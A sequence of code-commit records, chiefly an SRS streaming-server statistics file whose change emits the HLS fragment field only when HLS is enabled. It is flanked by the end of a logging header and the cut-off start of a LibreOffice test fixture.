\/**\n * log for debug, detail information.\n *\/\n virtual void info(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for trace, important information.\n *\/\n virtual void trace(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for warn, warn is something should take attention, but not a error.\n *\/\n virtual void warn(const char* tag, int context_id, const char* fmt, ...);\n \/**\n * log for error, something error occur, do something about the error, ie. close the connection,\n * but we will donot abort the program.\n *\/\n virtual void error(const char* tag, int context_id, const char* fmt, ...);\n};\n\n\/\/ the context for multiple clients.\nclass ISrsThreadContext\n{\npublic:\n ISrsThreadContext();\n virtual ~ISrsThreadContext();\npublic:\n virtual void generate_id();\n virtual int get_id();\n};\n\n\/\/ user must provides a log object\nextern ISrsLog* _srs_log;\n\n\/\/ user must implements the LogContext and define a global instance.\nextern ISrsThreadContext* _srs_context;\n\n\/\/ donot print method\n#if 1\n #define srs_verbose(msg, ...) _srs_log->verbose(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(NULL, _srs_context->get_id(), msg, ##__VA_ARGS__)\n\/\/ use __FUNCTION__ to print c method\n#elif 0\n #define srs_verbose(msg, ...) _srs_log->verbose(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(__FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n\/\/ use __PRETTY_FUNCTION__ to print c++ class:method\n#else\n #define srs_verbose(msg, ...) _srs_log->verbose(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_info(msg, ...) _srs_log->info(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_trace(msg, ...) _srs_log->trace(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_warn(msg, ...) _srs_log->warn(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n #define srs_error(msg, ...) _srs_log->error(__PRETTY_FUNCTION__, _srs_context->get_id(), msg, ##__VA_ARGS__)\n#endif\n\n\/\/ TODO: FIXME: add more verbose and info logs.\n#if 1\n #undef srs_verbose\n #define srs_verbose(msg, ...) (void)0\n#endif\n#if 1\n #undef srs_info\n #define srs_info(msg, ...) (void)0\n#endif\n#if 0\n #undef srs_trace\n #define srs_trace(msg, ...) (void)0\n#endif\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013-2015 SRS(simple-rtmp-server)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <srs_app_statistic.hpp>\n\n#include <unistd.h>\n#include <sstream>\nusing namespace std;\n\n#include <srs_rtmp_stack.hpp>\n#include <srs_app_json.hpp>\n#include <srs_protocol_kbps.hpp>\n#include <srs_app_conn.hpp>\n#include <srs_app_config.hpp>\n#include <srs_kernel_utility.hpp>\n\nint64_t srs_gvid = getpid();\n\nint64_t srs_generate_id()\n{\n return srs_gvid++;\n}\n\nSrsStatisticVhost::SrsStatisticVhost()\n{\n id = srs_generate_id();\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatisticVhost::~SrsStatisticVhost()\n{\n srs_freep(kbps);\n}\n\nSrsStatisticStream::SrsStatisticStream()\n{\n id = srs_generate_id();\n vhost = NULL;\n status = STATISTIC_STREAM_STATUS_IDLING;\n \n has_video = false;\n vcodec = SrsCodecVideoReserved;\n avc_profile = SrsAvcProfileReserved;\n avc_level = SrsAvcLevelReserved;\n \n has_audio = false;\n acodec = SrsCodecAudioReserved1;\n asample_rate = SrsCodecAudioSampleRateReserved;\n asound_type = SrsCodecAudioSoundTypeReserved;\n aac_object = SrsAacObjectTypeReserved;\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatisticStream::~SrsStatisticStream()\n{\n srs_freep(kbps);\n}\n\nvoid SrsStatisticStream::publish()\n{\n status = STATISTIC_STREAM_STATUS_PUBLISHING;\n}\n\nvoid SrsStatisticStream::close()\n{\n has_video = false;\n has_audio = false;\n status = STATISTIC_STREAM_STATUS_IDLING;\n}\n\nSrsStatistic* SrsStatistic::_instance = new SrsStatistic();\n\nSrsStatistic::SrsStatistic()\n{\n _server_id = srs_generate_id();\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatistic::~SrsStatistic()\n{\n srs_freep(kbps);\n \n if (true) {\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n srs_freep(vhost);\n }\n }\n if (true) {\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n srs_freep(stream);\n }\n }\n if (true) {\n std::map<int, SrsStatisticClient*>::iterator it;\n for (it = clients.begin(); it != clients.end(); it++) {\n SrsStatisticClient* client = it->second;\n srs_freep(client);\n }\n }\n}\n\nSrsStatistic* SrsStatistic::instance()\n{\n return _instance;\n}\n\nSrsStatisticStream* SrsStatistic::find_stream(int stream_id)\n{\n std::map<int, SrsStatisticClient*>::iterator it;\n for (it = clients.begin(); it != clients.end(); it++) {\n SrsStatisticClient* client = it->second;\n SrsStatisticStream* stream = client->stream;\n \n if (stream_id == stream->id) {\n return stream;\n }\n }\n return NULL;\n}\n\nint SrsStatistic::on_video_info(SrsRequest* req, \n SrsCodecVideo vcodec, SrsAvcProfile avc_profile, SrsAvcLevel avc_level\n) {\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->has_video = true;\n stream->vcodec = vcodec;\n stream->avc_profile = avc_profile;\n stream->avc_level = avc_level;\n \n return ret;\n}\n\nint SrsStatistic::on_audio_info(SrsRequest* req,\n SrsCodecAudio acodec, SrsCodecAudioSampleRate asample_rate, SrsCodecAudioSoundType asound_type,\n SrsAacObjectType aac_object\n) {\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->has_audio = true;\n stream->acodec = acodec;\n stream->asample_rate = asample_rate;\n stream->asound_type = asound_type;\n stream->aac_object = aac_object;\n \n return ret;\n}\n\nvoid SrsStatistic::on_stream_publish(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->publish();\n}\n\nvoid SrsStatistic::on_stream_close(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->close();\n}\n\nint SrsStatistic::on_client(int id, SrsRequest* req)\n{\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n \/\/ create client if not exists\n SrsStatisticClient* client = NULL;\n if (clients.find(id) == clients.end()) {\n client = new SrsStatisticClient();\n client->id = id;\n client->stream = stream;\n clients[id] = client;\n } else {\n client = clients[id];\n }\n\n return ret;\n}\n\nvoid SrsStatistic::on_disconnect(int id)\n{\n std::map<int, SrsStatisticClient*>::iterator it;\n it = clients.find(id);\n if (it != clients.end()) {\n SrsStatisticClient* client = it->second;\n srs_freep(client);\n clients.erase(it);\n }\n}\n\nvoid SrsStatistic::kbps_add_delta(SrsConnection* conn)\n{\n int id = conn->srs_id();\n if (clients.find(id) == clients.end()) {\n return;\n }\n \n SrsStatisticClient* client = clients[id];\n \n \/\/ resample the kbps to collect the delta.\n conn->resample();\n \n \/\/ add delta of connection to kbps.\n \/\/ for next sample() of server kbps can get the stat.\n kbps->add_delta(conn);\n client->stream->kbps->add_delta(conn);\n client->stream->vhost->kbps->add_delta(conn);\n \n \/\/ cleanup the delta.\n conn->cleanup();\n}\n\nSrsKbps* SrsStatistic::kbps_sample()\n{\n kbps->sample();\n if (true) {\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n vhost->kbps->sample();\n }\n }\n if (true) {\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n stream->kbps->sample();\n }\n }\n \n return kbps;\n}\n\nint64_t SrsStatistic::server_id()\n{\n return _server_id;\n}\n\nint SrsStatistic::dumps_vhosts(stringstream& ss)\n{\n int ret = ERROR_SUCCESS;\n\n ss << SRS_JARRAY_START;\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n if (it != vhosts.begin()) {\n ss << SRS_JFIELD_CONT;\n }\n \n \/\/ dumps the config of vhost.\n bool hls_enabled = _srs_config->get_hls_enabled(vhost->vhost);\n\n ss << SRS_JOBJECT_START\n << SRS_JFIELD_ORG(\"id\", vhost->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"name\", vhost->vhost) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"send_bytes\", vhost->kbps->get_send_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"recv_bytes\", vhost->kbps->get_recv_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_NAME(\"hls\") << SRS_JOBJECT_START\n << SRS_JFIELD_BOOL(\"enabled\", hls_enabled) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"fragment\", _srs_config->get_hls_fragment(vhost->vhost))\n << SRS_JOBJECT_END\n << SRS_JOBJECT_END;\n }\n ss << SRS_JARRAY_END;\n\n return ret;\n}\n\nint SrsStatistic::dumps_streams(stringstream& ss)\n{\n int ret = ERROR_SUCCESS;\n \n ss << SRS_JARRAY_START;\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n if (it != streams.begin()) {\n ss << SRS_JFIELD_CONT;\n }\n\n int client_num = 0;\n std::map<int, SrsStatisticClient*>::iterator it_client;\n for (it_client = clients.begin(); it_client != clients.end(); it_client++) {\n SrsStatisticClient* client = it_client->second;\n if (client->stream == stream) {\n client_num++;\n }\n }\n\n ss << SRS_JOBJECT_START\n << SRS_JFIELD_ORG(\"id\", stream->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"name\", stream->stream) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"vhost\", stream->vhost->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"app\", stream->app) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"clients\", client_num) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"send_bytes\", stream->kbps->get_send_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"recv_bytes\", stream->kbps->get_recv_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"live_ms\", srs_get_system_time_ms()) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"status\", stream->status) << SRS_JFIELD_CONT;\n \n if (!stream->has_video) {\n ss << SRS_JFIELD_NULL(\"video\") << SRS_JFIELD_CONT;\n } else {\n ss << SRS_JFIELD_NAME(\"video\")\n << SRS_JOBJECT_START\n << SRS_JFIELD_STR(\"codec\", srs_codec_video2str(stream->vcodec)) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"profile\", srs_codec_avc_profile2str(stream->avc_profile)) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"level\", srs_codec_avc_level2str(stream->avc_level))\n << SRS_JOBJECT_END\n << SRS_JFIELD_CONT;\n }\n \n if (!stream->has_audio) {\n ss << SRS_JFIELD_NULL(\"audio\");\n } else {\n ss << SRS_JFIELD_NAME(\"audio\")\n << SRS_JOBJECT_START\n << SRS_JFIELD_STR(\"codec\", srs_codec_audio2str(stream->acodec)) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"sample_rate\", (int)flv_sample_rates[stream->asample_rate]) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"channel\", (int)stream->asound_type + 1) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"profile\", srs_codec_aac_object2str(stream->aac_object))\n << SRS_JOBJECT_END;\n }\n \n ss << SRS_JOBJECT_END;\n }\n ss << SRS_JARRAY_END;\n \n return ret;\n}\n\nSrsStatisticVhost* SrsStatistic::create_vhost(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = NULL;\n \n \/\/ create vhost if not exists.\n if (vhosts.find(req->vhost) == vhosts.end()) {\n vhost = new SrsStatisticVhost();\n vhost->vhost = req->vhost;\n vhosts[req->vhost] = vhost;\n return vhost;\n }\n\n vhost = vhosts[req->vhost];\n \n return vhost;\n}\n\nSrsStatisticStream* SrsStatistic::create_stream(SrsStatisticVhost* vhost, SrsRequest* req)\n{\n std::string url = req->get_stream_url();\n \n SrsStatisticStream* stream = NULL;\n \n \/\/ create stream if not exists.\n if (streams.find(url) == streams.end()) {\n stream = new SrsStatisticStream();\n stream->vhost = vhost;\n stream->stream = req->stream;\n stream->app = req->app;\n stream->url = url;\n streams[url] = stream;\n return stream;\n }\n \n stream = streams[url];\n \n return stream;\n}\n\n<commit_msg>refine code, donot remove the detail when hls disabled.<commit_after>\/*\nThe MIT License (MIT)\n\nCopyright (c) 2013-2015 SRS(simple-rtmp-server)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of\nthis software and associated documentation files (the \"Software\"), to deal in\nthe Software without restriction, including without limitation the rights to\nuse, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\nthe Software, and to permit persons to whom the Software is furnished to do so,\nsubject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\nFOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\nCOPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\nIN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\nCONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*\/\n\n#include <srs_app_statistic.hpp>\n\n#include <unistd.h>\n#include <sstream>\nusing namespace std;\n\n#include <srs_rtmp_stack.hpp>\n#include <srs_app_json.hpp>\n#include <srs_protocol_kbps.hpp>\n#include <srs_app_conn.hpp>\n#include <srs_app_config.hpp>\n#include <srs_kernel_utility.hpp>\n\nint64_t srs_gvid = getpid();\n\nint64_t srs_generate_id()\n{\n return srs_gvid++;\n}\n\nSrsStatisticVhost::SrsStatisticVhost()\n{\n id = srs_generate_id();\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatisticVhost::~SrsStatisticVhost()\n{\n srs_freep(kbps);\n}\n\nSrsStatisticStream::SrsStatisticStream()\n{\n id = srs_generate_id();\n vhost = NULL;\n status = STATISTIC_STREAM_STATUS_IDLING;\n \n has_video = false;\n vcodec = SrsCodecVideoReserved;\n avc_profile = SrsAvcProfileReserved;\n avc_level = SrsAvcLevelReserved;\n \n has_audio = false;\n acodec = SrsCodecAudioReserved1;\n asample_rate = SrsCodecAudioSampleRateReserved;\n asound_type = SrsCodecAudioSoundTypeReserved;\n aac_object = SrsAacObjectTypeReserved;\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatisticStream::~SrsStatisticStream()\n{\n srs_freep(kbps);\n}\n\nvoid SrsStatisticStream::publish()\n{\n status = STATISTIC_STREAM_STATUS_PUBLISHING;\n}\n\nvoid SrsStatisticStream::close()\n{\n has_video = false;\n has_audio = false;\n status = STATISTIC_STREAM_STATUS_IDLING;\n}\n\nSrsStatistic* SrsStatistic::_instance = new SrsStatistic();\n\nSrsStatistic::SrsStatistic()\n{\n _server_id = srs_generate_id();\n \n kbps = new SrsKbps();\n kbps->set_io(NULL, NULL);\n}\n\nSrsStatistic::~SrsStatistic()\n{\n srs_freep(kbps);\n \n if (true) {\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n srs_freep(vhost);\n }\n }\n if (true) {\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n srs_freep(stream);\n }\n }\n if (true) {\n std::map<int, SrsStatisticClient*>::iterator it;\n for (it = clients.begin(); it != clients.end(); it++) {\n SrsStatisticClient* client = it->second;\n srs_freep(client);\n }\n }\n}\n\nSrsStatistic* SrsStatistic::instance()\n{\n return _instance;\n}\n\nSrsStatisticStream* SrsStatistic::find_stream(int stream_id)\n{\n std::map<int, SrsStatisticClient*>::iterator it;\n for (it = clients.begin(); it != clients.end(); it++) {\n SrsStatisticClient* client = it->second;\n SrsStatisticStream* stream = client->stream;\n \n if (stream_id == stream->id) {\n return stream;\n }\n }\n return NULL;\n}\n\nint SrsStatistic::on_video_info(SrsRequest* req, \n SrsCodecVideo vcodec, SrsAvcProfile avc_profile, SrsAvcLevel avc_level\n) {\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->has_video = true;\n stream->vcodec = vcodec;\n stream->avc_profile = avc_profile;\n stream->avc_level = avc_level;\n \n return ret;\n}\n\nint SrsStatistic::on_audio_info(SrsRequest* req,\n SrsCodecAudio acodec, SrsCodecAudioSampleRate asample_rate, SrsCodecAudioSoundType asound_type,\n SrsAacObjectType aac_object\n) {\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->has_audio = true;\n stream->acodec = acodec;\n stream->asample_rate = asample_rate;\n stream->asound_type = asound_type;\n stream->aac_object = aac_object;\n \n return ret;\n}\n\nvoid SrsStatistic::on_stream_publish(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->publish();\n}\n\nvoid SrsStatistic::on_stream_close(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n stream->close();\n}\n\nint SrsStatistic::on_client(int id, SrsRequest* req)\n{\n int ret = ERROR_SUCCESS;\n \n SrsStatisticVhost* vhost = create_vhost(req);\n SrsStatisticStream* stream = create_stream(vhost, req);\n\n \/\/ create client if not exists\n SrsStatisticClient* client = NULL;\n if (clients.find(id) == clients.end()) {\n client = new SrsStatisticClient();\n client->id = id;\n client->stream = stream;\n clients[id] = client;\n } else {\n client = clients[id];\n }\n\n return ret;\n}\n\nvoid SrsStatistic::on_disconnect(int id)\n{\n std::map<int, SrsStatisticClient*>::iterator it;\n it = clients.find(id);\n if (it != clients.end()) {\n SrsStatisticClient* client = it->second;\n srs_freep(client);\n clients.erase(it);\n }\n}\n\nvoid SrsStatistic::kbps_add_delta(SrsConnection* conn)\n{\n int id = conn->srs_id();\n if (clients.find(id) == clients.end()) {\n return;\n }\n \n SrsStatisticClient* client = clients[id];\n \n \/\/ resample the kbps to collect the delta.\n conn->resample();\n \n \/\/ add delta of connection to kbps.\n \/\/ for next sample() of server kbps can get the stat.\n kbps->add_delta(conn);\n client->stream->kbps->add_delta(conn);\n client->stream->vhost->kbps->add_delta(conn);\n \n \/\/ cleanup the delta.\n conn->cleanup();\n}\n\nSrsKbps* SrsStatistic::kbps_sample()\n{\n kbps->sample();\n if (true) {\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n vhost->kbps->sample();\n }\n }\n if (true) {\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n stream->kbps->sample();\n }\n }\n \n return kbps;\n}\n\nint64_t SrsStatistic::server_id()\n{\n return _server_id;\n}\n\nint SrsStatistic::dumps_vhosts(stringstream& ss)\n{\n int ret = ERROR_SUCCESS;\n\n ss << SRS_JARRAY_START;\n std::map<std::string, SrsStatisticVhost*>::iterator it;\n for (it = vhosts.begin(); it != vhosts.end(); it++) {\n SrsStatisticVhost* vhost = it->second;\n if (it != vhosts.begin()) {\n ss << SRS_JFIELD_CONT;\n }\n \n \/\/ dumps the config of vhost.\n bool hls_enabled = _srs_config->get_hls_enabled(vhost->vhost);\n\n ss << SRS_JOBJECT_START\n << SRS_JFIELD_ORG(\"id\", vhost->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"name\", vhost->vhost) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"send_bytes\", vhost->kbps->get_send_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"recv_bytes\", vhost->kbps->get_recv_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_NAME(\"hls\") << SRS_JOBJECT_START\n << SRS_JFIELD_BOOL(\"enabled\", hls_enabled);\n if (hls_enabled) {\n ss << SRS_JFIELD_CONT;\n ss << SRS_JFIELD_ORG(\"fragment\", _srs_config->get_hls_fragment(vhost->vhost));\n }\n ss << SRS_JOBJECT_END\n << SRS_JOBJECT_END;\n }\n ss << SRS_JARRAY_END;\n\n return ret;\n}\n\nint SrsStatistic::dumps_streams(stringstream& ss)\n{\n int ret = ERROR_SUCCESS;\n \n ss << SRS_JARRAY_START;\n std::map<std::string, SrsStatisticStream*>::iterator it;\n for (it = streams.begin(); it != streams.end(); it++) {\n SrsStatisticStream* stream = it->second;\n if (it != streams.begin()) {\n ss << SRS_JFIELD_CONT;\n }\n\n int client_num = 0;\n std::map<int, SrsStatisticClient*>::iterator it_client;\n for (it_client = clients.begin(); it_client != clients.end(); it_client++) {\n SrsStatisticClient* client = it_client->second;\n if (client->stream == stream) {\n client_num++;\n }\n }\n\n ss << SRS_JOBJECT_START\n << SRS_JFIELD_ORG(\"id\", stream->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"name\", stream->stream) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"vhost\", stream->vhost->id) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"app\", stream->app) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"clients\", client_num) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"send_bytes\", stream->kbps->get_send_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"recv_bytes\", stream->kbps->get_recv_bytes()) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"live_ms\", srs_get_system_time_ms()) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"status\", stream->status) << SRS_JFIELD_CONT;\n \n if (!stream->has_video) {\n ss << SRS_JFIELD_NULL(\"video\") << SRS_JFIELD_CONT;\n } else {\n ss << SRS_JFIELD_NAME(\"video\")\n << SRS_JOBJECT_START\n << SRS_JFIELD_STR(\"codec\", srs_codec_video2str(stream->vcodec)) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"profile\", srs_codec_avc_profile2str(stream->avc_profile)) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"level\", srs_codec_avc_level2str(stream->avc_level))\n << SRS_JOBJECT_END\n << SRS_JFIELD_CONT;\n }\n \n if (!stream->has_audio) {\n ss << SRS_JFIELD_NULL(\"audio\");\n } else {\n ss << SRS_JFIELD_NAME(\"audio\")\n << SRS_JOBJECT_START\n << SRS_JFIELD_STR(\"codec\", srs_codec_audio2str(stream->acodec)) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"sample_rate\", (int)flv_sample_rates[stream->asample_rate]) << SRS_JFIELD_CONT\n << SRS_JFIELD_ORG(\"channel\", (int)stream->asound_type + 1) << SRS_JFIELD_CONT\n << SRS_JFIELD_STR(\"profile\", srs_codec_aac_object2str(stream->aac_object))\n << SRS_JOBJECT_END;\n }\n \n ss << SRS_JOBJECT_END;\n }\n ss << SRS_JARRAY_END;\n \n return ret;\n}\n\nSrsStatisticVhost* SrsStatistic::create_vhost(SrsRequest* req)\n{\n SrsStatisticVhost* vhost = NULL;\n \n \/\/ create vhost if not exists.\n if (vhosts.find(req->vhost) == vhosts.end()) {\n vhost = new SrsStatisticVhost();\n vhost->vhost = req->vhost;\n vhosts[req->vhost] = vhost;\n return vhost;\n }\n\n vhost = vhosts[req->vhost];\n \n return vhost;\n}\n\nSrsStatisticStream* SrsStatistic::create_stream(SrsStatisticVhost* vhost, SrsRequest* req)\n{\n std::string url = req->get_stream_url();\n \n SrsStatisticStream* stream = NULL;\n \n \/\/ create stream if not exists.\n if (streams.find(url) == streams.end()) {\n stream = new SrsStatisticStream();\n stream->vhost = vhost;\n stream->stream = req->stream;\n stream->app = req->app;\n stream->url = url;\n streams[url] = stream;\n return stream;\n }\n \n stream = streams[url];\n \n return stream;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n#include <unotest\/bootstrapfixturebase.hxx>\n#include <rtl\/strbuf.hxx>\n#include <rtl\/bootstrap.hxx>\n#include <cppuhelper\/bootstrap.hxx>\n#include <comphelper\/processfactory.hxx>\n\n#include <com\/sun\/star\/lang\/Locale.hpp>\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n\nusing namespace ::com::sun::star;\n\n\/\/ NB. this constructor is called before any tests are run, once for each\n\/\/ test function in a rather non-intuitive way. This is why all the 'real'\n\/\/ heavy lifting is deferred until setUp. setUp and tearDown are interleaved\n\/\/ between the tests as you might expect.\ntest::BootstrapFixtureBase::BootstrapFixtureBase()\n : m_aSrcRootURL(\"file:\/\/\"), m_aSolverRootURL( m_aSrcRootURL ),\n m_aWorkdirRootURL(m_aSrcRootURL)\n{\n#ifndef ANDROID\n const char* pSrcRoot = getenv( \"SRC_ROOT\" );\n CPPUNIT_ASSERT_MESSAGE(\"SRC_ROOT env variable not set\", pSrcRoot != NULL && pSrcRoot[0] != 0);\n const char* pSolverRoot = getenv( \"OUTDIR_FOR_BUILD\" );\n CPPUNIT_ASSERT_MESSAGE(\"$OUTDIR_FOR_BUILD env variable not set\", pSolverRoot != NULL && pSolverRoot[0] != 0);\n const char* pWorkdirRoot = getenv( \"WORKDIR_FOR_BUILD\" );\n CPPUNIT_ASSERT_MESSAGE(\"$WORKDIR_FOR_BUILD env variable not set\", pWorkdirRoot != NULL && pWorkdirRoot[0] != 0);\n#ifdef WNT\n if (pSrcRoot[1] == ':')\n {\n m_aSrcRootURL += \"\/\";\n }\n if (pSolverRoot[1] == ':')\n {\n m_aSolverRootURL += \"\/\";\n }\n if (pWorkdirRoot[1] == ':')\n {\n m_aWorkdirRootURL += \"\/\";\n }\n#endif\n#else\n const char* pSrcRoot = \"\/assets\";\n const char* pSolverRoot = \"\/assets\";\n const char* pWorkdirRoot = \"\/assets\";\n#endif\n m_aSrcRootPath = OUString::createFromAscii( pSrcRoot );\n m_aSrcRootURL += m_aSrcRootPath;\n\n m_aSolverRootPath = OUString::createFromAscii( pSolverRoot );\n m_aSolverRootURL += m_aSolverRootPath;\n\n 